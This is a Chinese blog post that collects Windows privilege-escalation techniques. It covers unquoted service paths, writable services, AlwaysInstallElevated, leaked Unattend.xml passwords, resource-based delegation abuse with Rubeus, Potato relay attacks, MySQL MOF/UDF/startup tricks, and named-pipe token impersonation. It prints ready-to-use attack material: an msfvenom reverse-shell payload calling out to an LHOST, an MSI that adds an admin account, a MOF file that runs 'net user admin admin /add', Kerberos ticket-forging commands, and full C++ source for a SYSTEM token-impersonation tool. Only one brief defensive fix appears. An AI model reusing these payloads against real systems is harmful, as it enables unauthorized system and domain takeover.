Windows提权方法大全汇总(值的收藏)

Windows提权方法大全汇总(值的收藏)_第1张图片

一、无引号服务路径 ( Trusted Service Paths )

先说实用度,比较被动,而且比较看脸。

Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。
无引号服务路径有可能会导致这种情况的发生。
所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样

C:\Program Files\floder1\service.exe

因为空格的存在,Windows在启动服务找寻服务启动项时,它会按照以下顺序进行启动项寻找

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

这就给了我们有机可乘的机会:如果我们在服务的上层目录有写入或完全控制权限,我们完全可以将一个可执行文件放在Windows搜寻服务启动项的更靠前顺序上。
在这里插入图片描述
我们用以下命令来搜索哪些服务路径没有包含引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Windows提权方法大全汇总(值的收藏)_第2张图片
然后使用icacls命令查看在2345Explorer目录的权限如何
Windows提权方法大全汇总(值的收藏)_第3张图片
users组是完全控制权(F),那么我们直接用msfvenom构造一个反弹shell的exe。命名为Protect.exe,放入2345Explorer目录。我这里随便编码了一下

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe

Windows提权方法大全汇总(值的收藏)_第4张图片
然后我们现在是没有能力重启服务的。。只能等管理员重启服务或者机子重启。然后就拿到SYSTEM权限了。但是这里还有一个坑点,这个坑点是如果一个服务启动后在一定时间内未与 Service Control Manager(SCM) 通讯,就会被停止。
Windows提权方法大全汇总(值的收藏)_第5张图片
所以我们要在拿到shell后及时的转移进程或者添加管理员账户。
转移进程在msf中很简单,meterpreter中先用ps查看进程,随便找一个system权限,记住其pid,然后 migrate PID 即可完成进程迁移。

下面来说说防治方法吧。进入注册表修改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的服务,修改其ImagePath,把路径前后加个引号就可了。

二、易受攻击的服务(Vulnerable Services )

同样看脸且被动

这个攻击方法大致分两类

1.替换服务的二进制文件。这个方法较为简单,如果对服务二进制文件所在目录有修改权,那么我们完全可以创建一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻击流程和Trusted Service Paths如出一辙,同样也是比较被动地等待重启服务才能弹shell,就不再演示了。

2.修改服务的属性。如果我们能修改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),我们就可以通过设置 BINARY_PATH_NAME 的值为系统命令,然后重启服务时我们的系统命令会被执行。

对于后者,我们需要一款工具来快速揭示出我们能修改哪些服务的属性。
这个工具我们采用accesschk.exe,它是微软产出的,基本不会报毒。

我们通过该工具执行以下命令

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
来查看Users组(根据实际情况来填哪个组)对哪些服务有哪些权限

如果对某个服务有service_all_access或者以下权限,就说明能对其属性进行修改。
Windows提权方法大全汇总(值的收藏)_第6张图片
比如我们对Spooler服务有service_all_access权限,我们就可以这样做。

通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

Windows提权方法大全汇总(值的收藏)_第7张图片

三、AlwaysInstallElevated

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即可达到提权目的

同时需要注意的一点是,这个注册表项不一定总是存在的。(比如我的实验机

我们可以通过reg query来验证这两条注册表项的情况

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

若均为1,我们就可以通过msfvenom生成恶意msi来提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

然后执行,获得一个管理员账户。

四、信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露,他们通常存在于以下路径

C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

找到后,找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的密码。。


    
        
            
                UEBzc3dvcmQxMjMhUGFzc3dvcmQ= //PASSWORD
                false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>
一些敏感文件查询指令
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
</code></pre> 
  <h2>五、基于资源的域委派攻击</h2> 
  <p>refer:https://xz.aliyun.com/t/7454</p> 
  <p>原理的几个点:</p> 
  <p>1.S4U2SELF 协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。</p> 
  <p>2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。</p> 
  <p>3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),<br> 每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN</p> 
  <p><strong>攻击流程:</strong></p> 
  <p>假设开启基于资源的约束性委派机器为A</p> 
  <p>1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。</p> 
  <p>2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派</p> 
  <p>3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。</p> 
  <p>4.用ST2访问A的CIFS服务,权限获得。</p> 
  <p><strong>实操</strong></p> 
  <p>这个攻击说白了就是个提权…</p> 
  <p>首先我们检查一下域控是否是win2012以上的主机,因为只有这样才能开启 基于资源的约束性委派。</p> 
  <p>我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller</p> 
  <p><a href="http://img.e-com-net.com/image/info8/6873e3ca0f7b4cf7b2fe7c53e23fa00e.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/6873e3ca0f7b4cf7b2fe7c53e23fa00e.jpg" alt="Windows提权方法大全汇总(值的收藏)_第8张图片" width="624" height="261" style="border:1px solid black;"></a><br> 可以获得域控WIN版本</p> 
  <p>然后我们查看当前用户对哪台主机有写权限。因为是实验,所以我们先来看看怎么配置一个用户对一个机器的权限。</p> 
  <p>直接在域控上找到某主机,然后进入在属性里进入安全选项卡,添加某用户,然后给这个用户分配权限即可。</p> 
  <p><a href="http://img.e-com-net.com/image/info8/d54e99185d6142c1bdcc782d6e6eba88.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d54e99185d6142c1bdcc782d6e6eba88.jpg" alt="Windows提权方法大全汇总(值的收藏)_第9张图片" width="395" height="444" style="border:1px solid black;"></a><br> 我们依旧使用powerview。先调用</p> 
  <pre><code>Get-DomainUser -Identity username -Properties objectsid
</code></pre> 
  <p>来获取当前用户SID</p> 
  <p>然后</p> 
  <pre><code>Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"}
</code></pre> 
  <p>查看当前用户对某台主机是否有写权限。<br> <a href="http://img.e-com-net.com/image/info8/a79d1b8c177843f9a14db9c4a2230907.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/a79d1b8c177843f9a14db9c4a2230907.jpg" alt="Windows提权方法大全汇总(值的收藏)_第10张图片" width="650" height="300" style="border:1px solid black;"></a><br> 如果有 GenericAll(完全控制权),GenericWrite、WriteProperty、WriteDacl 这些属性,就说明该用户能修改计算机的账户属性。<br> 如图看到我们对WIN7进行操作</p> 
  <p>好的,我们接下来就要创立一个机器用户了。根据网上搜索结果,使用powermad这个ps脚本可以很快捷的创建一个机器用户。https://github.com/Kevin-Robertson/Powermad</p> 
  <pre><code>Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/81fa37aaf0044b26b0d8aecce6855eb2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/81fa37aaf0044b26b0d8aecce6855eb2.jpg" alt="在这里插入图片描述" width="517" height="53"></a><br> 好的,我们添加了一个密码hack,名为hacksystem的机器账户,接下来就是配置hacksystem到WIN7的委派了。我们需要做的,是修改WIN7的</p> 
  <pre><code>msDS-AllowedToActOnBehalfOfOtherIdentity
</code></pre> 
  <p>属性的值 ,这个操作我们用powerview实现。</p> 
  <pre><code>$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/93f6bf7b455141579f6da4753aacd09e.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/93f6bf7b455141579f6da4753aacd09e.jpg" alt="Windows提权方法大全汇总(值的收藏)_第11张图片" width="650" height="161" style="border:1px solid black;"></a><br> 至于机器账户SID怎么获得,powerview下的</p> 
  <pre><code>get-domiancomputer hacksystem
</code></pre> 
  <p>然后使用</p> 
  <pre><code>Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity
</code></pre> 
  <p>查看委派是否设置成功</p> 
  <pre><code>Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
</code></pre> 
  <p>此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值</p> 
  <p>现在都统统设置好了,开始下一步吧。</p> 
  <p>网上一般用的rubeus,这里我用kekeo吧</p> 
  <pre><code>Rubeus.exe hash /user:xxx /password:xxx /domain:xxx
</code></pre> 
  <p>本地运算出机器用户ntlm hash 这里借用一下别人的图<br> <a href="http://img.e-com-net.com/image/info8/1b12aed1347e4bad9a0bbce2d14805d4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/1b12aed1347e4bad9a0bbce2d14805d4.jpg" alt="Windows提权方法大全汇总(值的收藏)_第12张图片" width="650" height="226" style="border:1px solid black;"></a></p> 
  <pre><code>Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
</code></pre> 
  <p>写入票据</p> 
  <p>然后我在本机使用以上方法后klist一下,发现确实存在票据<br> <a href="http://img.e-com-net.com/image/info8/17c5b2fdc42a4c71a6773e241ee55caf.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/17c5b2fdc42a4c71a6773e241ee55caf.jpg" alt="Windows提权方法大全汇总(值的收藏)_第13张图片" width="633" height="308" style="border:1px solid black;"></a><br> 但是dir \test1\c$时本机莫名其妙不能进行kerberos验证,我服了。。但不管怎样,我们拿到银票了</p> 
  <p>敏感用户不可委派的绕过</p> 
  <p><a href="http://img.e-com-net.com/image/info8/119aaa1789a64d3fbdd8c3c21ce7acf6.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/119aaa1789a64d3fbdd8c3c21ce7acf6.jpg" alt="Windows提权方法大全汇总(值的收藏)_第14张图片" width="650" height="661" style="border:1px solid black;"></a><br> 若我们的administrator用户被设置为敏感用户不可委派或者被加入保护组,按理说他的访问就不能进行委派。</p> 
  <p>我们在以administrator账户身份进行S4U时,只能进行S4U2SELF,<br> 不能进行S4U2PROXY。我们用</p> 
  <pre><code>Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
</code></pre> 
  <p>继续实验administrator,发现确实是这样<br> <a href="http://img.e-com-net.com/image/info8/99794226a8df4f60a82ed4a4af39f13d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/99794226a8df4f60a82ed4a4af39f13d.jpg" alt="Windows提权方法大全汇总(值的收藏)_第15张图片" width="650" height="468" style="border:1px solid black;"></a><br> 此时我们用 rubeus.exe describe /ticker:S4Ubase64加密的票据<br> <a href="http://img.e-com-net.com/image/info8/019cd7a4fb6744d2943c14b06647921d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/019cd7a4fb6744d2943c14b06647921d.jpg" alt="Windows提权方法大全汇总(值的收藏)_第16张图片" width="650" height="327" style="border:1px solid black;"></a><br> 可以发现servicename并没有指定某个服务,仅仅只有一个账户.即发生了服务名称缺失的问题。很简单,把票据修改一下就行了.网上很多说用这个工具</p> 
  <p><strong>https://shimo.im/docs/TdpXTY6H9J8jygd8/read</strong></p> 
  <p>但实际上rubeus也能完成票据修改</p> 
  <pre><code>rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/0bdb2858cf9646bdafb27e2179c9a794.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/0bdb2858cf9646bdafb27e2179c9a794.jpg" alt="Windows提权方法大全汇总(值的收藏)_第17张图片" width="650" height="431" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/98f0ed66e9d44531905483f0d1f83515.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/98f0ed66e9d44531905483f0d1f83515.jpg" alt="Windows提权方法大全汇总(值的收藏)_第18张图片" width="577" height="212" style="border:1px solid black;"></a><br> 完事</p> 
  <h2>六、POTATO 家族</h2> 
  <p><strong>hot potato</strong></p> 
  <p>热土豆提权。很早前就听说过了,但一直没去了解过。前置知识是ntlm relay,可以去了解了解。potato家族有很多,hot potato只是其中一种提权方式。</p> 
  <p>我环境有问题,不能很好的复现,抓包分析啥的先咕咕吧。</p> 
  <p><strong>https://shimo.im/docs/TdpXTY6H9J8jygd8/read</strong><strong>HOT POTATO</strong>技术文档,国内基本上翻译这个来的。</p> 
  <p><strong>提权步骤大概是这个流程</strong></p> 
  <p>1.本地nbns服务欺骗</p> 
  <p>2.wpad劫持</p> 
  <p>3.HTTP->SMB 的 ntlm relay</p> 
  <p>4.本地nbns服务欺骗</p> 
  <p><strong>Windows域名解析规则是</strong></p> 
  <p>本地HOST文件-》dns查询-》NBNS或者LLMNR查询</p> 
  <p>一旦本地发出NBNS查询,我们本地就可以迅速响应,啪的一下就响应了,很快啊,本地发包很快,只要发出NBNS包基本上都能被我们本地发包响应。</p> 
  <p>但是以上步骤还是有一些细节的:我们当前并非管理员权限,大几率是无法嗅探本地流量的,如果我们能够事先知道目标主机期望NBNS查询获得的主机名,我们可以伪造一个响应,对发送NBNS查询的那个主机快速的大量发送NBNS响应 .但是nbns流量包还有个叫特征码的东西,请求包和响应包的特征码必须相同,所以我们被迫发送65536个包爆破这个特征码——本地发包速度很快,本地NBNS欺骗成功率基本上在100%。</p> 
  <p><strong>2.WPAD劫持</strong></p> 
  <p>NBNS欺骗后我们就可以劫持WPAD的域名,把自己伪造称WPAD并返回自定义的PAC文件。意味着我们可以把本地发出的所有流量重定向。</p> 
  <p><strong>3.RELAY</strong></p> 
  <p>NBNS欺骗后我们就可以劫持WPAD的域名,把自己伪造称WPAD并返回自定义的PAC文件。意味着我们可以把本地发出的所有流量重定向。</p> 
  <p>3.RELAY</p> 
  <p>在现在这个年代,SMB->SMB的relay很少用到了,微软 禁用了同协议的NTLM认证 ,成功率很低。<br> 但是HTTP->SMB的relay还是有的。HOT POTATO就是利用的这一点。<br> 我们可以把主机发出的HTTP请求重定向到我们自定义的网页A,而网页A需要NTLM认证,我们就可以进行HTTP->SMB的relay’了。当HTTP请求来自于高权限的账户时,例如是来自windows 更新服务的请求,命令就会以”NT AUTHORITY\SYSTEM”权限运行。</p> 
  <p>HOT POTATO 根据Windows版本的不同,需要等待高权限用户NTLM认证来到的时间也不同。一般来说,<br> WIN7是瞬间就可以提权的<br> Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一个自动更新机制,会每天下载证书信任列表(CTLs)<br> ,etc</p> 
  <h2>七、MYSQL下的提权技术</h2> 
  <p>MOF提权</p> 
  <p>在c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的时间去执行一次(由”And TargetInstance.Second = 5″;控制,这里输入5就是每分钟的第五秒执行。那么把cmd命令添加到nullevt.mof中,cmd命令就会自动执行了。</p> 
  <p>前提是我们要能进入数据库进行操作,且mysql数据库的权限尽可能高才更有利。同时secure-file-priv 要为空( mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,禁止所有文件导入导出功能)</p> 
  <p>我们伪造的MOF文件格式如下</p> 
  <pre><code>#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; //修改此处即可
};

instance of __FilterToConsumerBinding
{
    Consumer = $Consumer;
    Filter = $EventFilter;
};
</code></pre> 
  <p>修改上面的cmd部分即可实现以管理员身份执行各种命令。</p> 
  <p>然后我们使用mysql下的命令 ,将mof覆盖过去。</p> 
  <p>待我们的命令被执行后,即代表提权成功。</p> 
  <p>Windows 2003似乎成功率蛮高的,WIN7试了试没反应。。。</p> 
  <p>UDF提权</p> 
  <p>(这个也可以linux提权</p> 
  <p>udf,即自定义函数(user define function)</p> 
  <p>MYSQL可以自定义函数的。自定义函数在Windows下是以DLL文件存在于MYSQL的插件文件夹里面的(linux则是以os的形式)。我们可以自定义一个恶意dll,里面存放着可以执行系统命令的 函数。然后交给mysql以数据库权限执行。</p> 
  <p>前提:我们能操作数据库,且数据库权限必须很高(我们用这个方法提权到的权限就是数据库的权限</p> 
  <p>那么这个dll文件哪里来呢。sqlmap和msf都有。sqlmap下的 sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个dll文件的编码版本。我们使用sqlmap下的sqlmap/extra/cloak/cloak.py对其进行解码获得dll文件。</p> 
  <pre><code>python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ 即可获得dll文件
</code></pre> 
  <p>然后我们把dll文件放入mysql的插件文件夹,命名为udf.dll。插件文件夹可以通过命令</p> 
  <pre><code>show variables like "%plugin%";获得 (/lib/plugin文件夹需要自己创建)
</code></pre> 
  <p>至于怎么把dll放入插件文件夹</p> 
  <p>1.直接粘贴复制 (权限可能不够</p> 
  <p>2.使用命令 select load_file(‘udf.dll’) into dumpfile “PLUGIN的路径”;(需要secure_file_priv为空</p> 
  <p>总之,如果把udf.dll放入plugin文件夹后,我们就可以执行以下操作提权了。</p> 
  <pre><code>create funtion sys_eval returns string soname "udf.dll";
select sys_eval('cmd');
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/3f6525deff4c447a98a8d968d2aa4158.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/3f6525deff4c447a98a8d968d2aa4158.jpg" alt="Windows提权方法大全汇总(值的收藏)_第19张图片" width="650" height="117" style="border:1px solid black;"></a><br> <strong>启动项提权</strong></p> 
  <p>说白了,就是通过mysql的高权限,向windows开机启动项文件夹里放入恶意vbs或者bat脚本,机器重启后自动执行。怎么让机器重启?等管理员或者 一些可导致服务器蓝屏的EXP</p> 
  <p>C:\Documents and Settings\All Users\「开始」菜单\程序\启动</p> 
  <p>C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</p> 
  <pre><code>select load_file("xxx") into dumpfile "xxxx";
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/58e0bc9d57504ea9a87a5fcb526ac38f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/58e0bc9d57504ea9a87a5fcb526ac38f.jpg" alt="Windows提权方法大全汇总(值的收藏)_第20张图片" width="650" height="196" style="border:1px solid black;"></a><br> 没什么好说的</p> 
  <h2>八、命名管道提权</h2> 
  <p>提权方式为 令牌模仿。Token Impersonation .</p> 
  <p>meterpreter的getsystem的提取方法之一就是这个方法</p> 
  <p>提权过程为从administrator用户提到SYSTEM权限。从普通用户提权到admin及以上权限是不可取的,因为普通用户创建的命名管道没有 SeImpersonatePrivilege,在复制令牌时会出现1346错误。</p> 
  <p>该方法技术细节为:以管理员权限创建一个命名管道,再通过创建SYSTEM权限服务,让服务连上命名管道,随后我们通过模拟客户端,获得SYSTEM权限的令牌,随后将其复制,再用复制后的令牌创建新进程(如CMD),新进程的权限即SYSTEM权限。</p> 
  <p>这里贴上实现代码.<br> 首先是被创建的服务的实现代码,该服务启动后会不断向服务器命名管道建立链接<br> 生成好后,是Service.exe</p> 
  <pre><code>#include<Windows.h>
#include<iostream>
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning;
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
void WINAPI HandlerFunc(DWORD code);
int main() {
  WCHAR Servicename[] = L"ServiceA";
  SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };
  StartServiceCtrlDispatcher(Table);
}

void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {


  m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
  m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
  m_ServiceStatus.dwWin32ExitCode = 0;
  m_ServiceStatus.dwServiceSpecificExitCode = 0;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;

  m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);
  m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;
  SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
  bRunning = true;
  while (bRunning) {
  LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe";
  HANDLE PipeHandle=NULL;
  BOOL PipeInstance;
  WCHAR message[512] = { 0 };
  DWORD bytesWritten = 0;
  BOOL Flag = true;
  wchar_t message2[] = L"HELL";
  DWORD messageLength = lstrlen(message2) * 2;
  do {
    PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
  } while (PipeHandle == INVALID_HANDLE_VALUE);

  WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);

  Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);
  std::cout << "Message:" << message << std::endl;
  }
}

void WINAPI HandlerFunc(DWORD code) {
  switch (code) {
  case SERVICE_CONTROL_PAUSE:
    m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
    break;
  case SERVICE_CONTROL_CONTINUE:
    m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    break;
  case SERVICE_CONTROL_STOP:
    m_ServiceStatus.dwWin32ExitCode = 0;
    m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    m_ServiceStatus.dwCheckPoint = 0;
    m_ServiceStatus.dwWaitHint = 0;

    SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
    bRunning = false;
    break;
  case SERVICE_CONTROL_INTERROGATE:
    break;
  }
</code></pre> 
  <p>然后是主体,命名管道服务器。生成后是Server.exe</p> 
  <pre><code>#include<Windows.h>
#include<iostream>

int main() {
  LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe";
  LPVOID pipeBuffer = NULL;
  HANDLE serverPipe;
  DWORD readBytes = 0;
  DWORD readBuffer = 0;
  int err = 0;
  BOOL isPipeConnected;
  BOOL isPipeOpen;
  wchar_t message[] = L"HELL";
  DWORD messageLenght = lstrlen(message) * 2;
  DWORD bytesWritten = 0;
  WCHAR message2[512] = { 0 };
//Open a Named Pipe,Wait for a connection
  std::wcout << "Creating named pipe " << pipeName << std::endl;
  serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

//Create a service of system to connect to our NamedPipe.

  char servicename[] = "Service.exe";
  char servicepath[_MAX_PATH];
  SERVICE_STATUS status;
  GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));
  SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
  if (GetLastError() == 0) {

  }
  else {
    std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;
  }
  SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,
    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
    servicepath, NULL, NULL, NULL, NULL, NULL);
  if (!scService) {
    if (GetLastError() == 1073) {
      std::cout << "The Service has been exsisted" << std::endl;
    }
    else {
      std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;
    }
  }
  SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);
  if (StartService(scServiceA, 0, NULL)) {
    std::cout<<"service Start success"<<std::endl;
  }
  else {
    if (GetLastError() == 1056) {
      std::cout << "service is running,don't need to start again" << std::endl;
    }
  }
//Connect !
  isPipeConnected = ConnectNamedPipe(serverPipe, NULL);

  if (isPipeConnected) {
    std::wcout << "Incoming connection to " << pipeName << std::endl;
    ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);
    std::cout << message2;
  }
  else {
    std::cout << "Does not connected Error: "<<GetLastError() << std::endl;
  }

  std::wcout << "Sending message: " << message << std::endl;
  WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
//Toekn Impersonation
  std::wcout << "Impersonating the client..." << std::endl;
  if (!ImpersonateNamedPipeClient(serverPipe)) {
    std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl;
  }
  else {
  std::cout << "ImpersonateNamedPipeClient success" << std::endl;
  }

  STARTUPINFOA si;
  PROCESS_INFORMATION pi = {};
  ZeroMemory(&pi, sizeof(pi));
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  HANDLE token;
  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
    std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;
  }

  CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  HANDLE Token;
  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {
    std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;
  }
  else {
    std::cout << "Impersonate completed" << std::endl;
  }
  if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
    std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;
    if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
      std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;
    }
    else {
      std::cout << "CreateProcessWithTokenW success" << std::endl;
    }
  }
  else {
    std::cout << "CreateProcessWithTokenW success" << std::endl;
  }

  while(1){}
}
</code></pre> 
  <p>我们生成了Service.exe,然后把他移到Server.exe同级目录,以管理员权限运行Server.exe,即可达到admin-》system的提权。</p> 
  <p><a href="http://img.e-com-net.com/image/info8/35565d1dd06d4d56817bbddccb41d04e.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/35565d1dd06d4d56817bbddccb41d04e.jpg" alt="Windows提权方法大全汇总(值的收藏)_第21张图片" width="650" height="208" style="border:1px solid black;"></a><br> 程序写了四天终于写好了。。WIN7下可以实现完美提权。<br> 项目地址:<strong>https://shimo.im/docs/TdpXTY6H9J8jygd8/read</strong></p> 
  <p><strong>令牌窃取</strong></p> 
  <p>SYSTEM->本机上其他用户(包括域用户)(好家伙,只要本机有system权限,域管敢在本机上创建进程就直接能拿到域管权限) 或者admin获取debug权限后去获取SYSTEM权限(这里有一个细节点,只有owner为administrator的SYSTEM进程才能被利用,比如lsass,dllhost)</p> 
